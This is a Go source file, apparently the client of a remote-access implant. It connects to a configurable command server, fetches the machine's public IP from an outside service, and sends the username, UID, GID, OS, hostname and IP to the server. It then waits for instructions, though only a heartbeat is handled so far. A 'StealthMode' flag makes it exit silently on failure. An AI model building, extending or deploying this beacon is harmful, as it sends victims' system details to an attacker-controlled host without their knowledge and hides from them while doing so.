138 lines
2.4 KiB
Go
138 lines
2.4 KiB
Go
package main
|
|
|
|
import (
|
|
"encoding/gob"
|
|
"fmt"
|
|
"io"
|
|
"log"
|
|
"net"
|
|
"net/http"
|
|
"os"
|
|
"os/user"
|
|
"runtime"
|
|
)
|
|
|
|
type Client struct {
|
|
Username string
|
|
UID string
|
|
GID string
|
|
OperatingSystem string
|
|
Hostname string
|
|
PublicIP string
|
|
}
|
|
|
|
type Instructions struct {
|
|
IsHeartbeat bool
|
|
Message string
|
|
}
|
|
|
|
type Response struct {
|
|
Message string
|
|
}
|
|
|
|
var (
|
|
StealthMode bool = false
|
|
RemoteIP = "127.0.0.1"
|
|
RemotePort = "1302"
|
|
)
|
|
|
|
func main() {
|
|
conn, err := net.Dial("tcp", RemoteIP+":"+RemotePort)
|
|
if err != nil {
|
|
if StealthMode == true {
|
|
os.Exit(0)
|
|
} else {
|
|
log.Fatalf("Error happened connecting to server: %v\n", err)
|
|
}
|
|
}
|
|
defer conn.Close()
|
|
if err := sendOSInfo(conn); err != nil {
|
|
if StealthMode == true {
|
|
os.Exit(0)
|
|
} else {
|
|
log.Fatal(err)
|
|
}
|
|
}
|
|
for {
|
|
if err := awaitInstructions(conn); err != nil {
|
|
if StealthMode == true {
|
|
os.Exit(0)
|
|
} else {
|
|
log.Fatalf("Error happened awaiting instructions: %v\n", err)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
func getIP() (string, error) {
|
|
res, err := http.Get("https://ip.bulgariu.xyz")
|
|
if err != nil {
|
|
return "", nil
|
|
}
|
|
resbody, err := io.ReadAll(res.Body)
|
|
if err != nil {
|
|
return "", nil
|
|
}
|
|
return string(resbody), nil
|
|
}
|
|
|
|
func sendOSInfo(conn net.Conn) error {
|
|
currentUser, err := user.Current()
|
|
if err != nil {
|
|
e := fmt.Errorf("Error happened getting user: %v\n", err)
|
|
return e
|
|
}
|
|
|
|
clientHostname, err := os.Hostname()
|
|
if err != nil {
|
|
e := fmt.Errorf("Error happened getting hostname: %v\n", err)
|
|
return e
|
|
}
|
|
|
|
ip, err := getIP()
|
|
if err != nil {
|
|
e := fmt.Errorf("Error happened pulling IP: %v\n", err)
|
|
return e
|
|
}
|
|
|
|
newClient := Client{
|
|
Username: currentUser.Username,
|
|
UID: currentUser.Uid,
|
|
GID: currentUser.Gid,
|
|
OperatingSystem: runtime.GOOS,
|
|
Hostname: clientHostname,
|
|
PublicIP: ip,
|
|
}
|
|
|
|
enc := gob.NewEncoder(conn)
|
|
err = enc.Encode(newClient)
|
|
if err != nil {
|
|
e := fmt.Errorf("Error happened sending OS info to server: %v\n", err)
|
|
return e
|
|
}
|
|
|
|
return nil
|
|
}
|
|
|
|
func awaitInstructions(conn net.Conn) error {
|
|
dec := gob.NewDecoder(conn)
|
|
inst := Instructions{}
|
|
err := dec.Decode(&inst)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
if inst.IsHeartbeat == true {
|
|
return nil
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func sendMessage(resp Response, conn net.Conn) error {
|
|
enc := gob.NewEncoder(conn)
|
|
err := enc.Encode(&resp)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
return nil
|
|
}
|